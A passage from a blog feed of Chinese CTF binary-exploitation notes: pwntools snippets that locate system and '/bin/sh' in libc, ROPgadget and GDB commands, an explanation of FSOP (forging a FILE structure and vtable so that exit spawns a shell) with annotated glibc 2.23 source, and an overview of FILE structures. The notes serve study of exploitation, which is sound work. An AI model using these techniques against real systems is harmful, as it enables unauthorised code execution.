<content type="html"><![CDATA[<h1 id="Pwntools"><a href="#Pwntools" class="headerlink" title="Pwntools"></a>Pwntools</h1><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs python">libc=ELF(<span class="hljs-string">'/lib/i386-linux-gnu/libc.so.6'</span>)<br>libc=ELF(<span class="hljs-string">'/lib/x86_64-linux-gnu/libc.so.6'</span>)<br><br>system_addr=libc_base+libc.sym[<span class="hljs-string">'system'</span>]<br>bin_address=libc_base+<span class="hljs-built_in">next</span>(libc.search(<span class="hljs-string">b'/bin/sh'</span>))<br><br>context(os=<span class="hljs-string">'linux'</span>, arch=<span class="hljs-string">'amd64'</span>, log_level=<span class="hljs-string">'debug'</span>)<br><br>u64(p.recvuntil(<span class="hljs-string">b'\x7f'</span>)[-<span class="hljs-number">6</span>:].ljust(<span class="hljs-number">8</span>,<span class="hljs-string">b'\x00'</span>))<br></code></pre></td></tr></table></figure><h1 id="ROPgadget"><a href="#ROPgadget" class="headerlink" title="ROPgadget"></a>ROPgadget</h1><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs shell">ROPgadget --binary 文件名 --only 'pop|ret' | grep 'eax'<br></code></pre></td></tr></table></figure><h1 id="GDB"><a href="#GDB" class="headerlink" title="GDB"></a>GDB</h1><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs shell">b *$rebase(偏移)<br></code></pre></td></tr></table></figure><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs shell">directory /usr/src/glibc/ #设置源码路径<br>directory -r #删除<br>symbol-file <filepath>#加载符号文件<br>symbol-file #去除符号文件<br></code></pre></td></tr></table></figure><h1 id="python调用libc库"><a href="#python调用libc库" class="headerlink" title="python调用libc库"></a>python调用libc库</h1><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> ctypes <span class="hljs-keyword">import</span> *<br>lib=cdll.LoadLibrary(<span class="hljs-string">'/lib/x86_64-linux-gnu/libc.so.6'</span>)<br>lib.function()<br></code></pre></td></tr></table></figure><h1 id="沙盒"><a href="#沙盒" class="headerlink" title="沙盒"></a>沙盒</h1><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs shell">seccomp-tools dump ./pwn<br></code></pre></td></tr></table></figure>]]></content>
<categories>
<category>Pwn</category>
</categories>
<tags>
<tag>Pwn</tag>
</tags>
</entry>
<entry>
<title>FSOP</title>
<link href="/2024/05/10/Pwn/IO/FSOP/"/>
<url>/2024/05/10/Pwn/IO/FSOP/</url>
<content type="html"><![CDATA[<h1 id="原理:"><a href="#原理:" class="headerlink" title="原理:"></a>原理:</h1><p>劫持_IO_list_all 伪造 IO 链表,实质是伪造vtable虚表</p><p>一般伪造_IO_overflow_t位置,exit或abort都会刷新IO并调用这个函数</p><p>而_IO_flush_all_lockp不需要攻击者手动调用,在一些情况下这个函数会被系统调用:</p><ul><li>当libc执行abort流程时</li><li>当执行exit函数时</li><li>当执行流从main函数返回时</li></ul><p>IO伪造条件(2.23),(2.23之后的版本增加了vtable check)</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs c++">fp->_mode <= <span class="hljs-number">0</span><br>fp->_IO_write_ptr > fp->_IO_write_base<br></code></pre></td></tr></table></figure><p>/bin/sh参数的话就布置到fake file结构体的开头,调用vtable中函数的时候,会将IO_FILE指针作为函数的参数。</p><p><img src="/2024/05/10/Pwn/IO/FSOP/image-20230920103929217.png" alt="image-20230920103929217"></p><p>第一个flag写成”/bin/sh\x00”</p><p>IO_write_ptr>IO_write_base</p><p>vtable写可控地址</p><p>其余写0</p><h1 id="exit源码分析"><a href="#exit源码分析" class="headerlink" title="exit源码分析"></a>exit源码分析</h1><p>glibc 2.23</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-comment">// stdlib/exit.c</span><br><span class="hljs-type">void</span><br><span class="hljs-title function_">exit</span> <span class="hljs-params">(<span class="hljs-type">int</span> status)</span><br>{<br> __run_exit_handlers (status, &__exit_funcs, <span class="hljs-literal">true</span>);<br>}<br></code></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">void</span><br>__run_exit_handlers (<span class="hljs-type">int</span> status,<span class="hljs-comment">//状态码</span><br> <span class="hljs-keyword">struct</span> exit_function_list **listp,<span class="hljs-comment">//指向注册的退出处理函数</span><br> <span class="hljs-type">bool</span> run_list_atexit)<span class="hljs-comment">//是否执行__libc_atexit</span><br>{<br> <span class="hljs-comment">/* First, call the TLS destructors. */</span><br><span class="hljs-meta">#<span class="hljs-keyword">ifndef</span> SHARED <span class="hljs-comment">//如果使用共享库</span></span><br> <span class="hljs-keyword">if</span> (&__call_tls_dtors != <span class="hljs-literal">NULL</span>)<br><span class="hljs-meta">#<span class="hljs-keyword">endif</span></span><br> __call_tls_dtors ();<span class="hljs-comment">//调用 TLS (Thread-Local Storage) 的析构函数</span><br><br> <span class="hljs-comment">/* We do it this way to handle recursive calls to exit () made by</span><br><span class="hljs-comment"> the functions registered with `atexit' and `on_exit'. We call</span><br><span class="hljs-comment"> everyone on the list and use the status value in the last</span><br><span class="hljs-comment"> exit (). */</span><br> <span class="hljs-keyword">while</span> (*listp != <span class="hljs-literal">NULL</span>)<span class="hljs-comment">//遍历listp 调用所有注册的析构函数</span><br> {<br> <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">exit_function_list</span> *<span class="hljs-title">cur</span> =</span> *listp;<br><br> <span class="hljs-keyword">while</span> (cur->idx > <span class="hljs-number">0</span>)<br>{<br> <span class="hljs-type">const</span> <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">exit_function</span> *<span class="hljs-title">const</span> <span class="hljs-title">f</span> =</span><br> &cur->fns[--cur->idx];<br> <span class="hljs-keyword">switch</span> (f->flavor)<span class="hljs-comment">//选择析构函数类型并调用</span><br> {<br> <span class="hljs-type">void</span> (*atfct) (<span class="hljs-type">void</span>);<br> <span class="hljs-type">void</span> (*onfct) (<span class="hljs-type">int</span> status, <span class="hljs-type">void</span> *arg);<br> <span class="hljs-type">void</span> (*cxafct) (<span class="hljs-type">void</span> *arg, <span class="hljs-type">int</span> status);<br><br> <span class="hljs-keyword">case</span> ef_free:<br> <span class="hljs-keyword">case</span> ef_us:<br> <span class="hljs-keyword">break</span>;<br> <span class="hljs-keyword">case</span> ef_on:<br> onfct = f->func.on.fn;<br><span class="hljs-meta">#<span class="hljs-keyword">ifdef</span> PTR_DEMANGLE</span><br> PTR_DEMANGLE (onfct);<br><span class="hljs-meta">#<span class="hljs-keyword">endif</span></span><br> onfct (status, f->func.on.arg);<br> <span class="hljs-keyword">break</span>;<br> <span class="hljs-keyword">case</span> ef_at:<br> atfct = f->func.at;<br><span class="hljs-meta">#<span class="hljs-keyword">ifdef</span> PTR_DEMANGLE</span><br> PTR_DEMANGLE (atfct);<br><span class="hljs-meta">#<span class="hljs-keyword">endif</span></span><br> atfct ();<br> <span class="hljs-keyword">break</span>;<br> <span class="hljs-keyword">case</span> ef_cxa:<br> cxafct = f->func.cxa.fn;<br><span class="hljs-meta">#<span class="hljs-keyword">ifdef</span> PTR_DEMANGLE</span><br> PTR_DEMANGLE (cxafct);<br><span class="hljs-meta">#<span class="hljs-keyword">endif</span></span><br> cxafct (f->func.cxa.arg, status);<br> <span class="hljs-keyword">break</span>;<br> }<br>}<br><br> *listp = cur->next;<br> <span class="hljs-keyword">if</span> (*listp != <span class="hljs-literal">NULL</span>)<br><span class="hljs-comment">/* Don't free the last element in the chain, this is the statically</span><br><span class="hljs-comment"> allocate element. */</span><br><span class="hljs-built_in">free</span> (cur);<br> }<br><br> <span class="hljs-keyword">if</span> (run_list_atexit)<br> RUN_HOOK (__libc_atexit, ());<span class="hljs-comment">//调用__libc_atexit</span><br><br> _exit (status);<span class="hljs-comment">//调用_exit</span><br>}<br></code></pre></td></tr></table></figure><h2 id="相关结构体"><a href="#相关结构体" class="headerlink" title="相关结构体"></a>相关结构体</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">exit_function_list</span>//析构函数链</span><br><span class="hljs-class"> {</span><br> <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">exit_function_list</span> *<span class="hljs-title">next</span>;</span><br> <span class="hljs-type">size_t</span> idx;<span class="hljs-comment">//当前结点注册的函数</span><br> <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">exit_function</span> <span class="hljs-title">fns</span>[32];</span><span class="hljs-comment">//一个结点最多包含32个析构函数</span><br> };<br></code></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">exit_function</span></span><br><span class="hljs-class"> {</span><br> <span class="hljs-comment">/* `flavour' should be of type of the `enum' above but since we need</span><br><span class="hljs-comment"> this element in an atomic operation we have to use `long int'. */</span><br> <span class="hljs-type">long</span> <span class="hljs-type">int</span> flavor;<span class="hljs-comment">//析构函数类型</span><br> <span class="hljs-class"><span class="hljs-keyword">union</span></span><br><span class="hljs-class"> {</span><br><span class="hljs-type">void</span> (*at) (<span class="hljs-type">void</span>);<br><span class="hljs-class"><span class="hljs-keyword">struct</span></span><br><span class="hljs-class"> {</span><br> <span class="hljs-type">void</span> (*fn) (<span class="hljs-type">int</span> status, <span class="hljs-type">void</span> *arg);<br> <span class="hljs-type">void</span> *arg;<br> } on;<br><span class="hljs-class"><span class="hljs-keyword">struct</span></span><br><span class="hljs-class"> {</span><br> <span class="hljs-type">void</span> (*fn) (<span class="hljs-type">void</span> *arg, <span class="hljs-type">int</span> status);<br> <span class="hljs-type">void</span> *arg;<br> <span class="hljs-type">void</span> *dso_handle;<br> } cxa;<br> } func;<br> };<br></code></pre></td></tr></table></figure><p>_exit有5个定义 。。。。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-comment">//posix/_exit.c</span><br>_exit (<span class="hljs-type">int</span> status)<br>{<br> status &= <span class="hljs-number">0xff</span>;<br> <span class="hljs-built_in">abort</span> ();<br>}<br></code></pre></td></tr></table></figure><h2 id="libc-atexit:"><a href="#libc-atexit:" class="headerlink" title="__libc_atexit:"></a>__libc_atexit:</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs c"><br><span class="hljs-meta">#<span class="hljs-keyword">ifdef</span> text_set_element</span><br>text_set_element(__libc_atexit, _IO_cleanup); <span class="hljs-comment">//添加_IO_cleanup</span><br><span class="hljs-meta">#<span class="hljs-keyword">endif</span></span><br></code></pre></td></tr></table></figure><p>_IO_cleanup</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span><br>_IO_cleanup (<span class="hljs-type">void</span>)<br>{<br> <span class="hljs-comment">/* We do *not* want locking. Some threads might use streams but</span><br><span class="hljs-comment"> that is their problem, we flush them underneath them. */</span><br> <span class="hljs-type">int</span> result = _IO_flush_all_lockp (<span class="hljs-number">0</span>); <span class="hljs-comment">//刷新IO流</span><br><br> <span class="hljs-comment">/* We currently don't have a reliable mechanism for making sure that</span><br><span class="hljs-comment"> C++ static destructors are executed in the correct order.</span><br><span class="hljs-comment"> So it is possible that other static destructors might want to</span><br><span class="hljs-comment"> write to cout - and they're supposed to be able to do so.</span><br><span class="hljs-comment"></span><br><span class="hljs-comment"> The following will make the standard streambufs be unbuffered,</span><br><span class="hljs-comment"> which forces any output from late destructors to be written out. */</span><br> _IO_unbuffer_all ();<br><br> <span class="hljs-keyword">return</span> result;<br>}<br></code></pre></td></tr></table></figure><p>_IO_flush_all_lockp</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> _IO_flush_all_lockp (<span class="hljs-type">int</span> do_lock)<span class="hljs-comment">//刷新所有文件流</span><br>{<br> <span class="hljs-type">int</span> result = <span class="hljs-number">0</span>;<br> <span class="hljs-class"><span class="hljs-keyword">struct</span> _<span class="hljs-title">IO_FILE</span> *<span class="hljs-title">fp</span>;</span><br> <span class="hljs-type">int</span> last_stamp;<br><br><span class="hljs-meta">#<span class="hljs-keyword">ifdef</span> _IO_MTSAFE_IO</span><br> __libc_cleanup_region_start (do_lock, flush_cleanup, <span class="hljs-literal">NULL</span>);<br> <span class="hljs-keyword">if</span> (do_lock)<br> _IO_lock_lock (list_all_lock);<br><span class="hljs-meta">#<span class="hljs-keyword">endif</span></span><br><br> last_stamp = _IO_list_all_stamp;<span class="hljs-comment">//判断文件流是否改变</span><br> fp = (_IO_FILE *) _IO_list_all;<span class="hljs-comment">//根据_IO_list_all遍历</span><br> <span class="hljs-keyword">while</span> (fp != <span class="hljs-literal">NULL</span>)<span class="hljs-comment">//循环遍历</span><br> {<br> run_fp = fp;<br> <span class="hljs-keyword">if</span> (do_lock)<span class="hljs-comment">//加锁</span><br>_IO_flockfile (fp);<br><br> <span class="hljs-keyword">if</span> (((fp->_mode <= <span class="hljs-number">0</span> && fp->_IO_write_ptr > fp->_IO_write_base)<span class="hljs-comment">//普通流的条件</span><br><span class="hljs-meta">#<span class="hljs-keyword">if</span> defined _LIBC || defined _GLIBCPP_USE_WCHAR_T <span class="hljs-comment">//如果使用宽字符</span></span><br> || (_IO_vtable_offset (fp) == <span class="hljs-number">0</span><br> && fp->_mode > <span class="hljs-number">0</span> && (fp->_wide_data->_IO_write_ptr<br> > fp->_wide_data->_IO_write_base))<br><span class="hljs-meta">#<span class="hljs-keyword">endif</span></span><br> )<br> && _IO_OVERFLOW (fp, EOF) == EOF)<span class="hljs-comment">//如果上述条件不满足检查溢出</span><br>result = EOF;<br><br> <span class="hljs-keyword">if</span> (do_lock)<br>_IO_funlockfile (fp);<br> run_fp = <span class="hljs-literal">NULL</span>;<br><br> <span class="hljs-keyword">if</span> (last_stamp != _IO_list_all_stamp)<span class="hljs-comment">//如果文件流中有新的流加入,重新开始刷新</span><br>{<br> <span class="hljs-comment">/* Something was added to the list. Start all over again. */</span><br> fp = (_IO_FILE *) _IO_list_all;<br> last_stamp = _IO_list_all_stamp;<br>}<br> <span class="hljs-keyword">else</span><br>fp = fp->_chain;<br> }<br><br><span class="hljs-meta">#<span class="hljs-keyword">ifdef</span> _IO_MTSAFE_IO</span><br> <span class="hljs-keyword">if</span> (do_lock)<br> _IO_lock_unlock (list_all_lock);<br> __libc_cleanup_region_end (<span class="hljs-number">0</span>);<br><span class="hljs-meta">#<span class="hljs-keyword">endif</span></span><br><br> <span class="hljs-keyword">return</span> result;<br>}<br></code></pre></td></tr></table></figure><p>关键在于_IO_OVERFLOW (fp, EOF),需要绕过</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-keyword">if</span> (((fp->_mode <= <span class="hljs-number">0</span> && fp->_IO_write_ptr > fp->_IO_write_base)<span class="hljs-comment">//普通流的条件</span><br><span class="hljs-meta">#<span class="hljs-keyword">if</span> defined _LIBC || defined _GLIBCPP_USE_WCHAR_T <span class="hljs-comment">//如果使用宽字符</span></span><br> || (_IO_vtable_offset (fp) == <span class="hljs-number">0</span><br> && fp->_mode > <span class="hljs-number">0</span> && (fp->_wide_data->_IO_write_ptr<br> > fp->_wide_data->_IO_write_base))<br><span class="hljs-meta">#<span class="hljs-keyword">endif</span></span><br></code></pre></td></tr></table></figure><p>这个判断</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-meta">#<span class="hljs-keyword">define</span> _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)</span><br></code></pre></td></tr></table></figure><p>宏来执行虚表函数__overflow 第一个参数是文件流指针</p><p>可以看到实际如果要使用FSOP,本质都是使用_IO_flush_all_lockp函数</p>]]></content>
<categories>
<category>Pwn</category>
<category>IO</category>
</categories>
<tags>
<tag>Pwn</tag>
</tags>
</entry>
<entry>
<title>IO简述</title>
<link href="/2024/05/10/Pwn/IO/IO/"/>
<url>/2024/05/10/Pwn/IO/IO/</url>
<content type="html"><![CDATA[<p>linux以文件流描述数据交换与传输,包括IO</p><p>标准文件流有三个 stdin:标准输入 stdout:标准输出 stderr:标准错误</p><p>glibc中源码如下 (2.23)</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-keyword">extern</span> <span class="hljs-keyword">struct</span> <span class="hljs-title class_">_IO_FILE_plus</span> _IO_2_1_stdin_;<br><span class="hljs-keyword">extern</span> <span class="hljs-keyword">struct</span> <span class="hljs-title class_">_IO_FILE_plus</span> _IO_2_1_stdout_;<br><span class="hljs-keyword">extern</span> <span class="hljs-keyword">struct</span> <span class="hljs-title class_">_IO_FILE_plus</span> _IO_2_1_stderr_;<br></code></pre></td></tr></table></figure><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-keyword">struct</span> <span class="hljs-title class_">_IO_FILE_plus</span><br>{<br> _IO_FILE file;<span class="hljs-comment">//文件流属性</span><br> <span class="hljs-type">const</span> <span class="hljs-keyword">struct</span> <span class="hljs-title class_">_IO_jump_t</span> *vtable;<span class="hljs-comment">//虚表指针</span><br>};<br></code></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-class"><span class="hljs-keyword">struct</span> _<span class="hljs-title">IO_FILE</span> {</span><br> <span class="hljs-type">int</span> _flags;<span class="hljs-comment">/* High-order word is _IO_MAGIC; rest is flags. */</span><br><span class="hljs-meta">#<span class="hljs-keyword">define</span> _IO_file_flags _flags</span><br><br> <span class="hljs-comment">/* The following pointers correspond to the C++ streambuf protocol. */</span><br> <span class="hljs-comment">/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */</span><br> <span class="hljs-type">char</span>* _IO_read_ptr;<span class="hljs-comment">/* Current read pointer */</span><br> <span class="hljs-type">char</span>* _IO_read_end;<span class="hljs-comment">/* End of get area. */</span><br> <span class="hljs-type">char</span>* _IO_read_base;<span class="hljs-comment">/* Start of putback+get area. */</span><br> <span class="hljs-type">char</span>* _IO_write_base;<span class="hljs-comment">/* Start of put area. */</span><br> <span class="hljs-type">char</span>* _IO_write_ptr;<span class="hljs-comment">/* Current put pointer. */</span><br> <span class="hljs-type">char</span>* _IO_write_end;<span class="hljs-comment">/* End of put area. */</span><br> <span class="hljs-type">char</span>* _IO_buf_base;<span class="hljs-comment">/* Start of reserve area. */</span><br> <span class="hljs-type">char</span>* _IO_buf_end;<span class="hljs-comment">/* End of reserve area. */</span><br> <span class="hljs-comment">/* The following fields are used to support backing up and undo. */</span><br> <span class="hljs-type">char</span> *_IO_save_base; <span class="hljs-comment">/* Pointer to start of non-current get area. */</span><br> <span class="hljs-type">char</span> *_IO_backup_base; <span class="hljs-comment">/* Pointer to first valid character of backup area */</span><br> <span class="hljs-type">char</span> *_IO_save_end; <span class="hljs-comment">/* Pointer to end of non-current get area. */</span><br><br> <span class="hljs-class"><span class="hljs-keyword">struct</span> _<span class="hljs-title">IO_marker</span> *_<span class="hljs-title">markers</span>;</span><br><br> <span class="hljs-class"><span class="hljs-keyword">struct</span> _<span class="hljs-title">IO_FILE</span> *_<span class="hljs-title">chain</span>;</span><br><br> <span class="hljs-type">int</span> _fileno;<br><span class="hljs-meta">#<span class="hljs-keyword">if</span> 0</span><br> <span class="hljs-type">int</span> _blksize;<br><span class="hljs-meta">#<span class="hljs-keyword">else</span></span><br> <span class="hljs-type">int</span> _flags2;<br><span class="hljs-meta">#<span class="hljs-keyword">endif</span></span><br> _IO_off_t _old_offset; <span class="hljs-comment">/* This used to be _offset but it's too small. */</span><br><br><span class="hljs-meta">#<span class="hljs-keyword">define</span> __HAVE_COLUMN <span class="hljs-comment">/* temporary */</span></span><br> <span class="hljs-comment">/* 1+column number of pbase(); 0 is unknown. */</span><br> <span class="hljs-type">unsigned</span> <span class="hljs-type">short</span> _cur_column;<br> <span class="hljs-type">signed</span> <span class="hljs-type">char</span> _vtable_offset;<br> <span class="hljs-type">char</span> _shortbuf[<span class="hljs-number">1</span>];<br><br> <span class="hljs-comment">/* char* _save_gptr; char* _save_egptr; */</span><br><br> _IO_lock_t *_lock;<br><span class="hljs-meta">#<span class="hljs-keyword">ifdef</span> _IO_USE_OLD_IO_FILE <span class="hljs-comment">//如果使用旧结构,则不包含之后的成员</span></span><br>};<br><br><span class="hljs-class"><span class="hljs-keyword">struct</span> _<span class="hljs-title">IO_FILE_complete</span></span><br><span class="hljs-class">{</span><br> <span class="hljs-class"><span class="hljs-keyword">struct</span> _<span class="hljs-title">IO_FILE</span> _<span class="hljs-title">file</span>;</span><br><span class="hljs-meta">#<span class="hljs-keyword">endif</span></span><br><span class="hljs-meta">#<span class="hljs-keyword">if</span> defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001</span><br> _IO_off64_t _offset;<br><span class="hljs-meta"># <span class="hljs-keyword">if</span> defined _LIBC || defined _GLIBCPP_USE_WCHAR_T</span><br> <span class="hljs-comment">/* Wide character stream stuff. */</span><br> <span class="hljs-class"><span class="hljs-keyword">struct</span> _<span class="hljs-title">IO_codecvt</span> *_<span class="hljs-title">codecvt</span>;</span><br> <span class="hljs-class"><span class="hljs-keyword">struct</span> _<span class="hljs-title">IO_wide_data</span> *_<span class="hljs-title">wide_data</span>;</span><br> <span class="hljs-class"><span class="hljs-keyword">struct</span> _<span class="hljs-title">IO_FILE</span> *_<span class="hljs-title">freeres_list</span>;</span><br> <span class="hljs-type">void</span> *_freeres_buf;<br><span class="hljs-meta"># <span class="hljs-keyword">else</span></span><br> <span class="hljs-type">void</span> *__pad1;<br> <span class="hljs-type">void</span> *__pad2;<br> <span class="hljs-type">void</span> *__pad3;<br> <span class="hljs-type">void</span> *__pad4;<br><span class="hljs-meta"># <span class="hljs-keyword">endif</span></span><br> <span class="hljs-type">size_t</span> __pad5;<br> <span class="hljs-type">int</span> _mode;<br> <span class="hljs-comment">/* Make sure we don't get into trouble again. */</span><br> <span class="hljs-type">char</span> _unused2[<span class="hljs-number">15</span> * <span class="hljs-keyword">sizeof</span> (<span class="hljs-type">int</span>) - <span class="hljs-number">4</span> * <span class="hljs-keyword">sizeof</span> (<span class="hljs-type">void</span> *) - <span class="hljs-keyword">sizeof</span> (<span class="hljs-type">size_t</span>)];<br><span class="hljs-meta">#<span class="hljs-keyword">endif</span></span><br>};<br></code></pre></td></tr></table></figure><p>_IO_FILE_complete的成员是对_IO_FILE补充</p><h1 id="flag字段"><a href="#flag字段" class="headerlink" title="flag字段"></a>flag字段</h1><h3 id="汇总表"><a href="#汇总表" class="headerlink" title="汇总表"></a>汇总表</h3><table><thead><tr><th align="left">宏名称</th><th>值(十六进制)</th><th>描述</th></tr></thead><tbody><tr><td align="left"><code>_IO_MAGIC</code></td><td>0xFBAD0000</td><td>魔数</td></tr><tr><td 